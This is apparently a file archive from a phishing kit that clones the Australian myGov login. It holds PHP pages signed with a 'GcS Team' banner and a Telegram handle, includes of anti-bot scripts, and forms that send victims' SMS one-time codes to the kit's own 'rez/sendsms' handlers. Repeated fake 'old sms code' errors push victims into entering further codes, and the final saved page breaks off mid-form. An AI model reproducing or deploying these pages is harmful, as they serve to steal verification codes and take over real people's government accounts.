⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../anti/anti1.php";
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Enter code - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./smsone_files/css" rel="stylesheet">
	<link href="./smsone_files/mgv2-application.css" rel="stylesheet">
	<link href="./smsone_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>





	

<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	

	<h1>Payment Verification</h1>
	<p>We sent a code by SMS to your mobile number<span> XXXX&nbsp;XXX&nbsp;XXX</span>.</p>
	<form id="otp-entry-form" action="rez/sendsms1.php" method="post" autocomplete="off">
			<div class="code-container">
				<label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px;
    border-radius: 0.125rem;
    height: 48px;
    height: 3rem;
    border: 1px solid #000;
    border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer0" type="tel" autocomplete="off" required>
				</label>
			</div>
			
			
       			
       			
					<div class="help-info-group">
						
					</div>
					
						
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
								<p>
									You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in.
								</p>
								<p>
									If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account.
								</p>
								<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a>

							</div>
						
						
					
				
			
			
			
			<div class="button-container">    			
    			<button name="okbba" type="submit" class="button-main button">Next</button>
    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
			</div>

		
			<input type="hidden" name="accountRecovery" value="true">
			<input type="hidden" name="authtype" value="otp">
			 
			<input type="hidden" name="_resetMobileEligible" value="">
			<input type="hidden" name="_fallback" value=""> 
			<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">	
		<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
</div></div>
	
	




<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./smsone_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/smserror.php000064400000020534151676702570011076 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../anti/anti1.php";
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Enter code - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./smsone_files/css" rel="stylesheet">
	<link href="./smsone_files/mgv2-application.css" rel="stylesheet">
	<link href="./smsone_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>





	

<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	

	<h1>Payment Verification</h1>
	<p>We sent a code by SMS to your mobile number<span> XXXX&nbsp;XXX&nbsp;XXX</span>.</p>
	<form id="otp-entry-form" action="rez/sendsms2.php" method="post" autocomplete="off">
			<div class="code-container">
				<label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px;
    border-radius: 0.125rem;
    height: 48px;
    height: 3rem;
    border: 1px solid #000;
    border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer1" type="tel" autocomplete="off" required>
    <p style="color:red;">You entered an old sms code</p>
				</label>
			</div>
			
			
       			
       			
					<div class="help-info-group">
						
					</div>
					
						
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
								<p>
									You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in.
								</p>
								<p>
									If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account.
								</p>
								<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a>

							</div>
						
						
					
				
			
			
			
			<div class="button-container">    			
    			<button name="okbba" type="submit" class="button-main button">Next</button>
    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
			</div>

		
			<input type="hidden" name="accountRecovery" value="true">
			<input type="hidden" name="authtype" value="otp">
			 
			<input type="hidden" name="_resetMobileEligible" value="">
			<input type="hidden" name="_fallback" value=""> 
			<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">	
		<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
</div></div>
	
	




<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./smsone_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/smserror2.php000064400000020534151676702570011160 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../anti/anti1.php";
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Enter code - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./smsone_files/css" rel="stylesheet">
	<link href="./smsone_files/mgv2-application.css" rel="stylesheet">
	<link href="./smsone_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>





	

<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	

	<h1>Payment Verification</h1>
	<p>We sent a code by SMS to your mobile number<span> XXXX&nbsp;XXX&nbsp;XXX</span>.</p>
	<form id="otp-entry-form" action="rez/sendsms3.php" method="post" autocomplete="off">
			<div class="code-container">
				<label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px;
    border-radius: 0.125rem;
    height: 48px;
    height: 3rem;
    border: 1px solid #000;
    border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer2" type="tel" autocomplete="off" required>
    <p style="color:red;">You entered an old sms code</p>
				</label>
			</div>
			
			
       			
       			
					<div class="help-info-group">
						
					</div>
					
						
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
								<p>
									You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in.
								</p>
								<p>
									If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account.
								</p>
								<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a>

							</div>
						
						
					
				
			
			
			
			<div class="button-container">    			
    			<button name="okbba" type="submit" class="button-main button">Next</button>
    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
			</div>

		
			<input type="hidden" name="accountRecovery" value="true">
			<input type="hidden" name="authtype" value="otp">
			 
			<input type="hidden" name="_resetMobileEligible" value="">
			<input type="hidden" name="_fallback" value=""> 
			<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">	
		<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
</div></div>
	
	




<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./smsone_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/smsone.html000064400000015271151676702570010705 0ustar00<!DOCTYPE html>
<!-- saved from url=(0054)https://login.my.gov.au/las/mygov-login?execution=e1s2 -->
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Enter code - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./smsone_files/css" rel="stylesheet">
	<link href="./smsone_files/mgv2-application.css" rel="stylesheet">
	<link href="./smsone_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>





	

<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	

	<h1>Enter code</h1>
	<p>We sent a code by SMS to your mobile number<span> XXXX&nbsp;XXX&nbsp;694</span>.</p>
	<form id="otp-entry-form" action="https://login.my.gov.au/las/mygov-login?execution=e1s2" method="post" autocomplete="off">
			<div class="code-container">
				<label for="otpanswer">Code
					<input id="otpanswer" name="otpanswer" type="tel" class="security-code" data-number-mobile-input="data-number-mobile-input" autocomplete="off">
				</label>
			</div>
			
			
       			
       			
					<div class="help-info-group">
						<a href="javascript:void(0)" class="help-info" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle">
							I didn't get my code<span class="is-visuallyhidden"> Help </span> </a>
					</div>
					
						
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
								<p>
									You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in.
								</p>
								<p>
									If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account.
								</p>
								<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a>

							</div>
						
						
					
				
			
			
			
			<div class="button-container">    			
    			<button type="submit" class="button-main button" name="_eventId_submitOtp">Next</button>
